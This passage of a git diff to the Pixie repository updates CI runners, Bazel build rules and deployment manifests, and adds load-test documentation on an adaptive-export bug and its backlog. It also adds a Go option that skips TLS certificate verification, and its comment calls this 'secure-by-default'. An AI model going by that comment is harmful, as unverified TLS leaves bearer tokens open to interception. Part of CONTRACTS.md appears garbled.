diff --git a/.arclint b/.arclint index 7b87106fe80..ee012631a12 100644 --- a/.arclint +++ b/.arclint @@ -20,6 +20,7 @@ "(^private\/credentials\/.*\\.yaml)", "(^src/operator/client/versioned/)", "(^src/operator/apis/px.dev/v1alpha1/zz_generated.deepcopy.go)", + "(^src/e2e_test/adaptive_export_loadtest/tools/loadgen/)", "(^src/stirling/bpf_tools/bcc_bpf/system-headers)", "(^src/stirling/mysql/testing/.*\\.json$)", "(^src/stirling/obj_tools/testdata/go/test_go_binary.go)", diff --git a/.bazelignore b/.bazelignore index d7d6c7da417..70c353d41bc 100644 --- a/.bazelignore +++ b/.bazelignore @@ -6,3 +6,7 @@ third_party/threadstacks tools/chef/nodes # To keep third party dependencies separate, privy is intentional setup as a separate bazel workspace src/datagen/pii/privy + +# adaptive_export_loadtest generator is a docker-built test tool (see its README); +# build-agent to replace with a bazel target. Until then, keep it out of gazelle. +src/e2e_test/adaptive_export_loadtest/tools/loadgen diff --git a/.github/workflows/cli_release.yaml b/.github/workflows/cli_release.yaml index 192ba13510b..e3a06db3084 100644 --- a/.github/workflows/cli_release.yaml +++ b/.github/workflows/cli_release.yaml @@ -15,7 +15,7 @@ jobs: image-base-name: "dev_image_with_extras" build-release: name: Build Release - runs-on: oracle-16cpu-64gb-x86-64 + runs-on: oracle-vm-16cpu-64gb-x86-64 needs: get-dev-image permissions: contents: read @@ -209,7 +209,7 @@ jobs: update-gh-artifacts-manifest: if: | always() && needs.create-github-release.result == 'success' - runs-on: oracle-8cpu-32gb-x86-64 + runs-on: oracle-vm-16cpu-64gb-x86-64 needs: [get-dev-image, create-github-release] container: image: ${{ needs.get-dev-image.outputs.image-with-tag }} diff --git a/.github/workflows/cloud_release.yaml b/.github/workflows/cloud_release.yaml index 039367b2682..235921b9051 100644 --- a/.github/workflows/cloud_release.yaml +++ b/.github/workflows/cloud_release.yaml @@ -15,7 +15,7 @@ jobs: image-base-name: "dev_image_with_extras" build-release: name: Build Release - runs-on: oracle-16cpu-64gb-x86-64 + runs-on: oracle-vm-16cpu-64gb-x86-64 needs: get-dev-image permissions: contents: read diff --git a/.github/workflows/mirror_demos.yaml b/.github/workflows/mirror_demos.yaml index 0f2c5f46df4..a1b3d1f1d9b 100644 --- a/.github/workflows/mirror_demos.yaml +++ b/.github/workflows/mirror_demos.yaml @@ -9,7 +9,7 @@ jobs: permissions: contents: read packages: write - runs-on: oracle-16cpu-64gb-x86-64 + runs-on: oracle-vm-16cpu-64gb-x86-64 steps: - uses: docker/login-action@74a5d142397b4f367a81961eba4e8cd7edddf772 # v2 with: diff --git a/.github/workflows/mirror_deps.yaml b/.github/workflows/mirror_deps.yaml index 983b598927c..600fa1d8ac1 100644 --- a/.github/workflows/mirror_deps.yaml +++ b/.github/workflows/mirror_deps.yaml @@ -9,7 +9,7 @@ jobs: permissions: contents: read packages: write - runs-on: oracle-16cpu-64gb-x86-64 + runs-on: oracle-vm-16cpu-64gb-x86-64 steps: - uses: docker/login-action@74a5d142397b4f367a81961eba4e8cd7edddf772 # v2 with: diff --git a/.github/workflows/mirror_releases.yaml b/.github/workflows/mirror_releases.yaml index f89ac612887..25137d48606 100644 --- a/.github/workflows/mirror_releases.yaml +++ b/.github/workflows/mirror_releases.yaml @@ -10,7 +10,7 @@ jobs: permissions: contents: read packages: write - runs-on: oracle-16cpu-64gb-x86-64 + runs-on: oracle-vm-16cpu-64gb-x86-64 steps: - uses: docker/login-action@74a5d142397b4f367a81961eba4e8cd7edddf772 # v2 with: diff --git a/.github/workflows/operator_release.yaml b/.github/workflows/operator_release.yaml index 947b1f00006..66348f6a188 100644 --- a/.github/workflows/operator_release.yaml +++ b/.github/workflows/operator_release.yaml @@ -15,7 +15,7 @@ jobs: image-base-name: "dev_image_with_extras" build-release: name: Build Release - runs-on: oracle-16cpu-64gb-x86-64 + runs-on: oracle-vm-16cpu-64gb-x86-64 needs: get-dev-image permissions: contents: read @@ -140,7 +140,7 @@ jobs: git commit -s -m "Release Helm chart ${VERSION}" git push origin "gh-pages" update-gh-artifacts-manifest: - runs-on: oracle-8cpu-32gb-x86-64 + runs-on: oracle-vm-16cpu-64gb-x86-64 needs: [get-dev-image, create-github-release] container: image: ${{ needs.get-dev-image.outputs.image-with-tag }} diff --git a/.github/workflows/perf_common.yaml b/.github/workflows/perf_common.yaml index 01083668873..766dc3e4105 100644 --- a/.github/workflows/perf_common.yaml +++ b/.github/workflows/perf_common.yaml @@ -34,7 +34,7 @@ jobs: ref: ${{ inputs.ref }} generate-perf-matrix: needs: get-dev-image-with-extras - runs-on: oracle-16cpu-64gb-x86-64 + runs-on: oracle-vm-16cpu-64gb-x86-64 container: image: ${{ needs.get-dev-image-with-extras.outputs.image-with-tag }} outputs: @@ -57,7 +57,7 @@ jobs: echo "matrix=${matrix}" >> $GITHUB_OUTPUT run-perf-eval: needs: [get-dev-image-with-extras, generate-perf-matrix] - runs-on: oracle-16cpu-64gb-x86-64 + runs-on: oracle-vm-16cpu-64gb-x86-64 container: image: ${{ needs.get-dev-image-with-extras.outputs.image-with-tag }} strategy: diff --git a/.github/workflows/vizier_release.yaml b/.github/workflows/vizier_release.yaml index e12996f9447..ce4f18035e5 100644 --- a/.github/workflows/vizier_release.yaml +++ b/.github/workflows/vizier_release.yaml @@ -15,7 +15,7 @@ jobs: image-base-name: "dev_image_with_extras" build-release: name: Build Release - runs-on: oracle-16cpu-64gb-x86-64 + runs-on: oracle-vm-16cpu-64gb-x86-64 needs: get-dev-image permissions: contents: read @@ -140,7 +140,7 @@ jobs: git commit -s -m "Release Helm chart Vizier ${VERSION}" git push origin "gh-pages" update-gh-artifacts-manifest: - runs-on: oracle-8cpu-32gb-x86-64 + runs-on: oracle-vm-16cpu-64gb-x86-64 needs: [get-dev-image, create-github-release] container: image: ${{ needs.get-dev-image.outputs.image-with-tag }} diff --git a/bazel/ui.bzl b/bazel/ui.bzl index 8fd2b52b6c1..00399155200 100644 --- a/bazel/ui.bzl +++ b/bazel/ui.bzl @@ -17,9 +17,11 @@ # This file contains rules for for our UI builds. ui_shared_cmds_start = [ + "set -x", 'export BASE_PATH="$(pwd)"', - "export PATH=/usr/local/bin:/opt/px_dev/tools/node/bin:$PATH", - 'export HOME="$(mktemp -d)"', # This makes node-gyp happy. + "export PATH=/opt/px_dev/tools/node/bin:/usr/local/bin:$PATH", + "hash -r", + 'export HOME="$(mktemp -d)"', 'export TMPPATH="$(mktemp -d)"', ] @@ -49,6 +51,7 @@ def _pl_webpack_deps_impl(ctx): execution_requirements = {tag: "" for tag in ctx.attr.tags}, outputs = [out], command = " && ".join(cmd), + use_default_shell_env = True, progress_message = "Generating webpack deps %s" % out.short_path, ) @@ -72,8 +75,8 @@ def _pl_webpack_library_impl(ctx): # and apply it to the environment here. Hopefully, # no special characters/spaces/quotes in the results ... env_cmds = [ - '$(sed -E "s/^([A-Za-z_]+)\\s*(.*)/export \\1=\\2/g" "{}")'.format(ctx.info_file.path), - '$(sed -E "s/^([A-Za-z_]+)\\s*(.*)/export \\1=\\2/g" "{}")'.format(ctx.version_file.path), + '$(sed -E -n "s/^(STABLE_BUILD_TAG|BUILD_TIMESTAMP)\\s+(.*)/export \\1=\\2/p" "{}")'.format(ctx.info_file.path), + '$(sed -E -n "s/^(STABLE_BUILD_TAG|BUILD_TIMESTAMP)\\s+(.*)/export \\1=\\2/p" "{}")'.format(ctx.version_file.path), ] all_files.append(ctx.info_file) all_files.append(ctx.version_file) @@ -95,6 +98,7 @@ def _pl_webpack_library_impl(ctx): execution_requirements = {tag: "" for tag in ctx.attr.tags}, outputs = [out], command = " && ".join(cmd), + use_default_shell_env = True, progress_message = "Generating webpack bundle %s" % out.short_path, ) @@ -170,6 +174,7 @@ def _pl_deps_licenses_impl(ctx): execution_requirements = {tag: "" for tag in ctx.attr.tags}, outputs = [out], command = " && ".join(cmd), + use_default_shell_env = True, progress_message = "Generating licenses %s" % out.short_path, ) diff --git a/k8s/vizier/bootstrap/adaptive_export_deployment.yaml b/k8s/vizier/bootstrap/adaptive_export_deployment.yaml index 19f52a640f3..2db195ff408 100644 --- a/k8s/vizier/bootstrap/adaptive_export_deployment.yaml +++ b/k8s/vizier/bootstrap/adaptive_export_deployment.yaml @@ -88,6 +88,13 @@ spec: # value: "changeme-ingest" # - name: CLICKHOUSE_DATABASE # value: "forensic_db" + # TLS for the control surface (CONTROL_TLS=true). server.crt/key from the + # same service-tls-certs secret the broker/PEM use; without this the dx + # bearer JWT crosses the CNI in cleartext. Harmless when control is off. + volumeMounts: + - name: certs + mountPath: /certs + readOnly: true securityContext: allowPrivilegeEscalation: false capabilities: @@ -95,6 +102,10 @@ spec: - ALL seccompProfile: type: RuntimeDefault + volumes: + - name: certs + secret: + secretName: service-tls-certs securityContext: runAsUser: 10100 runAsGroup: 10100 diff --git a/skaffold/skaffold_cloud.yaml b/skaffold/skaffold_cloud.yaml index 2b29e22e436..0790472996a 100644 --- a/skaffold/skaffold_cloud.yaml +++ b/skaffold/skaffold_cloud.yaml @@ -2,7 +2,6 @@ .common_bazel_args: &common_bazel_args - --compilation_mode=opt - --config=stamp -- --action_env=GOOGLE_APPLICATION_CREDENTIALS - --config=x86_64_sysroot apiVersion: skaffold/v4beta1 kind: Config @@ -77,78 +76,9 @@ manifests: paths: - k8s/cloud/dev profiles: -- name: minikube - activation: - - kubeContext: minikube - patches: - - op: replace - path: /build/local - value: - push: false -- name: dev - activation: - - command: dev - patches: - - op: add - path: /build/artifacts/context=./bazel/args - value: - - --compilation_mode=dbg -- name: ory_auth - patches: - - op: replace - path: /manifests/kustomize/paths - value: - - k8s/cloud/dev - - k8s/cloud/dev/ory_auth - - op: add - path: /build/artifacts/context=./bazel/args - value: - - --compilation_mode=dbg -- name: ory_auth_prod - patches: - - op: add - path: /manifests/kustomize/paths - value: - - k8s/cloud/base/ory_auth -- name: staging - activation: - - env: PL_BUILD_TYPE=staging - patches: - - op: add - path: /build/artifacts/context=./bazel/args - value: - *common_bazel_args - - op: replace - path: /manifests/kustomize/paths - value: - - k8s/cloud/staging -- name: testing - activation: - - env: PL_BUILD_TYPE=testing - patches: - - op: add - path: /build/artifacts/context=./bazel/args - value: - *common_bazel_args - - op: replace - path: /manifests/kustomize/paths - value: - - k8s/cloud/testing -- name: prod - activation: - - env: PL_BUILD_TYPE=prod - patches: - - op: add - path: /build/artifacts/context=./bazel/args - value: - *common_bazel_args - - op: replace - path: /manifests/kustomize/paths - value: - - k8s/cloud/prod -- name: public +- name: cockpit patches: - op: replace path: /manifests/kustomize/paths value: - - k8s/cloud/public/base + - cockpit diff --git a/src/api/go/pxapi/opts.go b/src/api/go/pxapi/opts.go index 7de095a7f1a..0e2948f999c 100644 --- a/src/api/go/pxapi/opts.go +++ b/src/api/go/pxapi/opts.go @@ -82,3 +82,17 @@ func WithDirectCredsInsecure() ClientOption { c.insecureDirect = true } } + +// WithDirectTLSSkipVerify is the secure-by-default option for direct (standalone / +// node-local PEM) connections: the transport IS TLS-encrypted, but the server cert +// is not chain/hostname-verified. Use this instead of WithDirectCredsInsecure when +// the direct endpoint serves TLS with a self-signed / service cert whose SAN does +// not match the node IP (e.g. vizier-pem's direct-query port served with +// service-tls-certs, dialed at HOST_IP). Unlike WithDisableTLSVerification it does +// NOT require a "cluster.local" address, so it works for the node-IP direct dial. +// Bearer creds (the minted JWT) therefore ride an encrypted channel, never plaintext. +func WithDirectTLSSkipVerify() ClientOption { + return func(c *Client) { + c.disableTLSVerification = true + } +} diff --git a/src/e2e_test/adaptive_export_loadtest/CONTRACTS.md b/src/e2e_test/adaptive_export_loadtest/CONTRACTS.md new file mode 100644 index 00000000000..f848d63e149 --- /dev/null +++ b/src/e2e_test/adaptive_export_loadtest/CONTRACTS.md @@ -0,0 +1,98 @@ +# Adaptive Export (AE) β€” implied contracts + +What AE *currently assumes but does not enforce*. Each ⚠️ is an **implied** contract +(a silent assumption); πŸ”΄ marks ones we've observed violated, with the fix. Grounded +in `src/vizier/services/adaptive_export/` (trigger, controller, sink, config) + the +`forensic_db` DDL. + +## End-to-end data flow + where each contract sits + +```mermaid +flowchart TD + subgraph PROD["Producer (per node)"] + VEC["Vector kubescape_enrich sink
(or load-test fixtures)"] + end + subgraph CH1["ClickHouse β€” input"] + KL["forensic_db.kubescape_logs
MergeTree ORDER BY (event_time, hostname)
TTL toDateTime(event_time)+30d"] + end + subgraph AE["adaptive_export (per node DaemonSet)"] + TRG["TRIGGER: poll 250ms
WHERE hostname=NODE AND event_time>=watermark
ORDER BY event_time LIMIT N"] + CTL["CONTROLLER: hash + active-set
window [event_time-Before, now)"] + PXL["DATA-PLANE: PxL per (ns,pod)Γ—table
refresh every 30s while window open"] + end + subgraph VZ["Pixie"] + QB["vizier-query-broker β†’ PEMs"] + end + subgraph CH2["ClickHouse β€” output (forensic_db)"] + ATTR["adaptive_attribution
ReplacingMergeTree(t_end)
ORDER BY (hostname, anomaly_hash)"] + WM["trigger_watermark
ReplacingMergeTree(updated_at)"] + PROT["http/dns/pgsql/conn_stats/...
plain MergeTree (NO dedup)"] + end + + VEC -->|"C1 ⚠️ event_time UNIT = seconds
C2 ⚠️ hostname = k8s node name"| KL + KL -->|"C3 πŸ”΄ event_time monotone β‰₯ watermark
C4 ⚠️ boundary dedup by content fp"| TRG + TRG --> CTL + CTL -->|"C5 ⚠️ anomaly_hash = f(pid,comm,pod,ns) only"| ATTR + TRG -->|"C6 ⚠️ watermark persist throttled ~5s"| WM + CTL --> PXL + PXL -->|"C7 needs registered vizier"| QB + QB -->|"C8 πŸ”΄ plain MergeTree + 30s re-pull β†’ dup"| PROT + PXL -->|"C9 ⚠️ write only if rows>0"| PROT + ATTR -. "C10 ⚠️ join: events.pod = ns/pod ↔ attribution.pod = bare" .- PROT +``` + +## Boot / dependency contract + +```mermaid +flowchart LR + ENV["ENV (all non-empty or FATAL):
PIXIE_CLUSTER_ID Β· CLUSTER_NAME
PIXIE_API_KEY Β· CLICKHOUSE_DSN"] --> BOOT + CM["cm/pl-cloud-config
PL_CLOUD_ADDR=…:443"] -->|"C11 πŸ”΄ missing :443 β†’ crashloop"| BOOT + BOOT["AE boot"] --> DDL["C12 self-applies forensic_db DDL
(ADAPTIVE_SKIP_APPLY=false)"] + BOOT --> CTRLPLANE["control plane: CH only"] + BOOT --> DATAPLANE["data plane: needs query-broker
(C7) + ADAPTIVE_PUSH_PIXIE_ROWS"] +``` + +## Contract register + +| # | Contract (implied) | Enforced? | Status / fix | +|---|---|---|---| +| C1 | `kubescape_logs.event_time` is unix **seconds** (one unit end-to-end) | ❌ trigger auto-detects s/ms/ns; DDL `toDateTime()` assumes seconds | πŸ”΄ **F8 root** β€” see C3; AE-2 standardize+normalize | +| C2 | `hostname` = the k8s **node** name (AE polls `WHERE hostname=node`) | ❌ convention only | ⚠️ fixtures must use a real node, else no AE ever reads them | +| C3 | every new anomaly's `event_time` β‰₯ current watermark (monotone) | ❌ strict HWM filter | πŸ”΄ **F8** β€” a larger-unit / out-of-order / future row poisons the HWM β†’ all later rows silently dropped. **Fix (PR #53):** normalize cursor to nanos (`chNormEventTimeNanos`); AE-9: ingest-order cursor / bounded-lookback+dedup + below-watermark metric | +| C4 | rows sharing `event_time` at the boundary are deduped by content fingerprint | βœ… `seenAtBoundary` | ok | +| C5 | `anomaly_hash = SHA256(pid,comm,pod,ns)[:16]` β€” identity is the **workload**, independent of event_time/RuleID | βœ… | ok (N events for one target β†’ 1 attribution row) | +| C6 | `trigger_watermark` persisted value tracks the live cursor | ❌ throttled ~5s | ⚠️ external readers/restart see up to 5s stale; AE-7 flush-on-shutdown | +| C7 | data-plane requires a **registered** vizier query-broker | ❌ | ⚠️ control plane works without it; data plane silently does nothing | +| C8 | re-pulling a window is idempotent | ❌ protocol tables plain MergeTree (no dedup) + 30s re-pull | πŸ”΄ duplicate inflation. **Fix:** single-shot (`ADAPTIVE_PUSH_REFRESH_SEC=-1`, or `AFTER>Pixie: PxL per table for (ns,pod), slice since last_upper + Pixie-->>AE: rows + AE->>CH: write rows (write βŠ‡ DX read, C14) + end + DX->>AE: StartExport / StopExport / extend t_end (control surface, CONTROL_ADDR) + Note over AE: stop ONLY on t_end or DX stop β€” never silently early (C15) +``` + +- **DX controls:** (1) open/extend a window (each referral/anomaly extends `t_end`), (2) explicit **StopExport** via the control surface (`CONTROL_ADDR`, design rev-3 β€” confirm wired), (3) the active set (which pods AE over-captures). +- **DX relies on:** C5 (stable hash identity), C14 (write βŠ‡ read), **C15 (no premature stop)**, C9 (0 rows only when the workload is genuinely silent), C10 (the `ns/pod` ↔ bare join). For DX to steer dependably, C3/C8/C13/C15 must move from πŸ”΄ to βœ…. + +## Legend +βœ… enforced in code Β· ⚠️ implied (assumed, not checked) Β· πŸ”΄ observed violated (fix noted). +Full repro + backlog: `FINDINGS_AND_BACKLOG.md`. The fixes for C3/C1 are on PR #53 (`ae-prod`). diff --git a/src/e2e_test/adaptive_export_loadtest/FINDINGS_AND_BACKLOG.md b/src/e2e_test/adaptive_export_loadtest/FINDINGS_AND_BACKLOG.md new file mode 100644 index 00000000000..c385b04a6ec --- /dev/null +++ b/src/e2e_test/adaptive_export_loadtest/FINDINGS_AND_BACKLOG.md @@ -0,0 +1,170 @@ +# AE load-test β€” reproducible findings + robustness backlog + +Rig `6a3066767841074cd3200495` (k3s, 2 nodes), AE `vizier-adaptive_export_image:0.14.19-aeprod-clean3`, +control plane against ClickHouse (real kubescape NOT deployed; only `kubescape_logs` fixtures injected). +Every finding below is REPRODUCED with the harness in `aeload/`; numbers are measured, not estimated. + +## Headline + +1. **The "writes stop after initial success, data still on Pixie" bug is REPRODUCED (F8).** AE's trigger + gates on a strict high-water-mark of the kubescape-supplied `event_time`; **any anomaly with + `event_time < watermark` is silently dropped**. A single mixed-unit row (nanos/millis) poisons the + watermark to ~1.78e18 β†’ every subsequent seconds-row is dropped **forever** β†’ AE stops writing + although Pixie still has the data. Reproduced + recovered (reset watermark + restart) on the rig. +2. AE's **control-plane write surface is EXACTLY reproducible** when event_times are monotonic β€” `71/71` + then `20/20` (E1, seconds-native) std=0. +3. **F1 correction:** production (soc Vector) emits `event_time` in **seconds**, for which the DDL TTL is + correct. My earlier "DDL bug" report was triggered by my fixtures using **nanoseconds**; the real, + durable issue is that the unit is **not standardized/enforced** (trigger auto-detects s/ms/ns; DDL + assumes seconds) β€” which is also the root enabler of the F8 catastrophe. + +## Reproducible findings + +### F8 β€” CRITICAL (likely THE production bug): watermark high-water-mark silently drops any `event_time < watermark` +`trigger_watermark` is a monotonic cursor on the kubescape-supplied `event_time` (the trigger SELECT does +`WHERE event_time >= watermark`). It is **content-derived, not ingest-ordered**, so it is fragile to: +1. **Unit heterogeneity (catastrophic):** one anomaly in nanos/millis sets `watermark β‰ˆ 1.78e18`; every + later seconds-row (`~1.78e9`) is `< watermark` β†’ dropped **forever**. The trigger explicitly supports + s/ms/ns, so a mixed pipeline guarantees this. +2. **Clock skew / out-of-order alerts:** a late/earlier-stamped anomaly after a newer one β†’ dropped. +3. **Restart re-scan:** on reboot AE loads the persisted watermark (or re-scans to the max existing row), + so anomalies stamped below that max are never processed. +Effect = "writes succeed initially, then stop, data still on Pixie" (the trigger halts; the data plane +and Pixie are fine). **Reproduced on the rig** (E8 sustained): with the watermark poisoned at a leftover +nanos value (`1781559619170395824`), 25/25 ticks of fresh seconds anomalies β†’ **n_anomalies stayed 0**. +After `ALTER TABLE trigger_watermark DELETE WHERE 1=1` + AE restart, once tick event_times rose above the +re-scanned max, **n_anomalies grew 1β†’2β†’3β†’4, delta=1 per tick** (healthy steady state). Evidence: +`e8_steady.csv` (stalled), `e8_recov.csv` (recovered + steady growth). + +### F1 β€” `kubescape_logs` TTL/PARTITION assume seconds; non-seconds producers are TTL-deleted (unit not enforced) +**Correction to the earlier report:** production (soc Vector, `to_unix_timestamp(ts)` = VRL **seconds**; +confirmed by the AE code comment "Vector's kubescape sink … writes unix SECONDS ~1.7e9") emits **seconds**, +for which `toDateTime(event_time)` is CORRECT β€” the DDL is **not** buggy in production. The overflow I first +saw was caused by **my fixtures using nanoseconds** (copied from the Go `integration_test`/`e2e` convention, +which use `UnixNano`). The durable issue: the unit is **unstandardized** β€” the trigger auto-detects +s/ms/ns but the DDL hardcodes seconds, so a millis/nanos producer has ALL its `kubescape_logs` +TTL-deleted. Original (now-superseded) overflow detail follows for the record: +`event_time` is UInt64 **nanoseconds** (all Go code + every fixture + `integration_test.go` use +`UnixNano`). But the DDL (soc `clickhouse-lab/schema.sql` AND AE's embedded +`internal/clickhouse/schema.sql`) does: +```sql +PARTITION BY toYYYYMM(toDateTime(event_time)) +TTL toDateTime(event_time) + INTERVAL 30 DAY +``` +`toDateTime()` interprets its arg as **seconds**. Reproduced on the rig: +``` +toDateTime(1781559074162913804) = 2106-02-07 (saturates at DateTime max) +toDateTime(1781559074162913804)+30 DAY = 1970-01-30 (OVERFLOWS past max β†’ wraps to 1970) +(... ) < now() = 1 (already_expired) +``` +β†’ every row is born already-expired β†’ CH TTL-deletes `kubescape_logs` on the next merge. +Measured: after injecting ~20 anomalies, `kubescape_logs` held **2** rows; all showed `expired=1`. +The AE trigger (250 ms poll) races the merge: anomalies polled before deletion get an +`adaptive_attribution` row; the rest are **lost with no error logged** (the ~10% E1 miss). +PARTITION is also broken β€” every row lands in the single `2106-02` partition. + +**Fix validated on the rig:** +```sql +ALTER TABLE forensic_db.kubescape_logs + MODIFY TTL toDateTime(intDiv(event_time, 1000000000)) + INTERVAL 30 DAY; +``` +β†’ `ttl_expiry = 2026-07-15`, `expired = 0` β†’ **E1 re-run = 20/20 PASS, std=0** (was ~9/10). + +### F2 β€” Anomaly loss is silent + unretried +When F1 (or any input-side pruning / transient CH write error) drops an anomaly, AE logs **nothing** +and never retries β€” `adaptive_attribution` simply lacks the row. There is no `dropped_anomalies` / +`trigger_lag` metric to detect it. Reproduced: rep 8 had 0 attribution, AE log had zero errors/warnings. + +### F3 β€” POSITIVE: control plane is EXACTLY reproducible when processed +With F1 fixed: `uniqExact(anomaly_hash)` and `adaptive_attribution` FINAL counts are **std=0 / CV=0** +across all reps. Dedup is deterministic (N events for one (pid,comm,pod,ns) β†’ 1 hash β†’ 1 row). +Measured (TTL-fixed): +- **E1** single anomaly = **20/20 EXACT** (uniq=1, attrib=1 every rep) +- **E3** fan-out (8 distinct pods) = **20/20 EXACT** (uniq=8, attrib=8 every rep) +- **E4** boundary collision (2 rows, same `event_time`, different RuleID, same target) = **20/20 EXACT** + (fingerprint-dedup deterministic β†’ 1 hash, 1 row) +- **E2** dedup/extend (10 events, 1 target β†’ 1 row) = **10/10 EXACT** (uniq=1, attrib=1) +- **E6** restart idempotency = **1/1 EXACT** β€” attribution stayed exactly 1 across an AE rollout-restart + (no double-count on watermark reload) + +**Total: 71/71 control-plane reps EXACT (std=0)** after AE-1. + +### F4 β€” AE cannot boot for ClickHouse-only / control-plane-only operation +AE fatals at config validation without pixie cluster identity, even when only the CH triggerβ†’attribution +path is needed: +``` +fatal "missing required env variable 'PIXIE_CLUSTER_ID'" then 'CLUSTER_NAME' +``` +Worked around with a dummy `PIXIE_CLUSTER_ID` + `CLUSTER_NAME` + `ADAPTIVE_PUSH_PIXIE_ROWS=false`. +This couples the (CH-only) control plane to a healthy vizier registration that it does not use. + +### F5 β€” `trigger_watermark` persistence is throttled (~5 s) +The persisted cursor lags the in-memory cursor by up to `ADAPTIVE_WATERMARK_SAVE_SEC` (default 5 s). +Reproduced: queried `watermark` lagged the just-injected `event_time` by one rep repeatedly (the +in-memory cursor + `adaptive_attribution` were already correct). On crash, up to that interval of +progress is lost β†’ reprocessing (dedup-safe, but wasteful + can surprise external observers). + +### F6 β€” (provisioning / dependability) custom-version vizier never registered +`make pixie` with `VIZIER_VERSION=…-aeprod-clean3` (extract_yaml path) left **`pl-cloud-config`** and +**`pl-cluster-secrets`** uncreated β†’ cert-provisioner crashloops (`pl-cloud-config not found`, +`pl-cluster-secrets does not exist`) β†’ NATS/PEM/query-broker never start β†’ **no data plane**. Hand-created +`pl-cloud-config`; `pl-cluster-secrets` requires cloud registration. This blocks the live **E5 data-plane** +experiments (harness is ready, waiting on a healthy `vizier-query-broker`). + +### F7 β€” single-pull config confirmed +AE boots with `window_after=5s window_before=2m0s poll_interval=250ms` β€” `AFTER (5s) < refresh (30s)` +forces exactly one pull per window on the published image (so the non-deduping MergeTree protocol tables +aren't re-inserted). The new `ADAPTIVE_PUSH_REFRESH_SEC=-1` knob (added this branch, uncommitted) is the +explicit equivalent. + +## Backlog β€” make AE repeatable, robust, dependable + +| ID | Pri | Fix | Why | +|----|-----|-----|-----| +| **AE-9** | **P0** | **Make the trigger cursor robust** β€” don't gate on the content `event_time` as a strict HWM. Options: (a) cursor on **ingest order** (a monotonic insert id / `_part`+row, or an `inserted_at DEFAULT now64()` column) instead of `event_time`; (b) bounded **lookback window** (re-scan `event_time >= watermark - L`) + **content-dedup** (anomaly fingerprint) so out-of-order/skewed/below-watermark anomalies are still processed exactly once; (c) NORMALIZE `event_time` to one unit before it ever reaches the cursor. Add `dx_anomalies_below_watermark_total` + `trigger_watermark_seconds` metrics + alert. | **F8 β€” the production "writes stop, data on Pixie" bug.** A single mixed-unit/skewed/out-of-order row poisons the HWM β†’ silent total halt. Highest-impact dependability fix. | +| **AE-2** | **P0** | Standardize `event_time` to ONE documented unit + **normalize-or-reject at ingest** (Vector + AE); remove the trigger's silent s/ms/ns auto-detect (it *enables* F8 + F1). | The unit ambiguity is the root enabler of both F8 (watermark poison) and F1 (TTL delete). | +| **AE-1** | P1 | Make the `kubescape_logs` DDL TTL **and** PARTITION unit-agnostic (e.g. normalize `event_time` in a MATERIALIZED `event_dt DateTime64(9)` used by TTL/PARTITION) so a non-seconds producer isn't silently TTL-deleted. Patch BOTH soc `clickhouse-lab/schema.sql` and AE embedded `internal/clickhouse/schema.sql`. | F1: defense-in-depth β€” even with AE-2, a stray non-seconds row shouldn't vanish. (Production seconds path is currently correct.) | +| **AE-3** | P1 | Eliminate the retention-vs-trigger race: AE should own `kubescape_logs` deletion (delete only AFTER an anomaly is acked into `adaptive_attribution`), OR decouple trigger progress from row TTL. Add `dx_anomalies_dropped_total` + `trigger_lag_seconds` metrics + alert. | F1/F2: today a pruned-before-polled row is lost invisibly. Observability + ordering guarantee. | +| **AE-4** | P1 | Make `adaptive_attribution` writes durable β€” retry with backoff, count failures, never silently drop. | F2: best-effort write = unaccounted loss under any CH hiccup. | +| **AE-5** | P1 | Allow CH-only / control-plane boot: make `PIXIE_CLUSTER_ID`/`CLUSTER_NAME`/`PIXIE_API_KEY` optional when `ADAPTIVE_PUSH_PIXIE_ROWS=false` and not streaming/passthrough. | F4: enables AE testing + degraded operation without a healthy vizier. | +| **AE-6** | P2 | Make protocol tables `ReplacingMergeTree` keyed by (hostname,event_time,upid,…) so repeated pulls are idempotent regardless of refresh; keep `ADAPTIVE_PUSH_REFRESH_SEC` (done) for explicit single-shot. | Data-plane robustness: removes the "plain MergeTree + 30s re-pull β†’ duplicate inflation" footgun (the reason single-pull is currently required). | +| **AE-7** | P2 | Flush `trigger_watermark` on shutdown; make the save throttle configurable. | F5: bound crash-reprocessing + give observers a fresh cursor. | +| **AE-8** | P2 | (makefile-agent) `make pixie` for custom `VIZIER_VERSION` must create `pl-cloud-config` and complete cloud registration (`pl-cluster-secrets`). | F6: blocks data-plane e2e + any real deployment of a custom AE build. | + +## Fix implemented + validated (F8 / AE-2 unit-normalization) + +**Code (working tree, `internal/trigger/clickhouse.go`):** the trigger cursor is now **canonical +nanoseconds**. Added `normalizeEventTimeNanos()` (s/ms/ns β†’ ns, same thresholds as +`controller.eventTimeToTime`) + `chNormEventTimeNanos` (the ClickHouse equivalent). The poll SELECT now +filters + orders on `chNormEventTimeNanos >= ` (was raw `event_time >= watermark`); +`maxSeen`, the in-memory watermark, the boundary-dedup compare, and the loaded/persisted watermark are all +normalized. Net: a mixed-unit row can no longer drive the HWM past real rows. Unit test +`clickhouse_internal_test.go` (in-package; runs on a build PG): `TestNormalizeEventTimeNanos` + +`TestFetchSinceFiltersOnNormalizedEventTime`. + +**Empirically validated at the data layer on the rig (no AE rebuild needed)** β€” against the actual +poisoned watermark `1781559619170395824`: +- OLD raw filter `event_time >= wm` β†’ **0 rows** (AE sees nothing = the bug) +- NEW normalized filter `chNormEventTimeNanos >= wm` β†’ **60 rows** (all recovered) +- table held 60 cplane-01 rows the whole time β€” the filter was the sole cause. + +**Still to land:** rebuild + deploy the AE image carrying this Go change (can't `git push` per rules β†’ +hand to build-agent / `gh-pixie-build`), then re-run E8 to confirm no-poison live. AE-9 (out-of-order +lookback + below-watermark metric) and AE-1 (unit-agnostic DDL TTL/PARTITION) remain. + +## Reproducibility status + +| Layer / experiment | Status | +|---|---| +| Control plane E1 (single) | βœ… **20/20 EXACT (std=0)** after AE-1 fix | +| Control plane E3 (fan-out) | βœ… **20/20 EXACT** (uniq=8, attrib=8) | +| Control plane E4 (boundary collision) | βœ… **20/20 EXACT** (uniq=1, attrib=1) | +| Control plane E2 (dedup) | βœ… **10/10 EXACT** (uniq=1, attrib=1) | +| Control plane E6 (restart idempotency) | βœ… **1/1 EXACT** (attrib stayed 1 across AE restart) | +| **Control plane total** | βœ… **71/71 reps EXACT (std=0)** + **E1 20/20 seconds-native** | +| E8 sustained same-pod (control) | βœ… reproduces F8 (stall when event_time ≀ watermark) + recovers to steady delta=1 growth | +| Data plane E5 + E8-data | β›” blocked on F6 (vizier not registered); data-plane rig requested from makefile-agent; harness ready | +| L1 hermetic (`go test`, exact bytes) | 🧰 authored; runs on a build PG (pixie module compile) | + +NOTE: harness is now **seconds-native** (production unit). The earlier 71/71 used 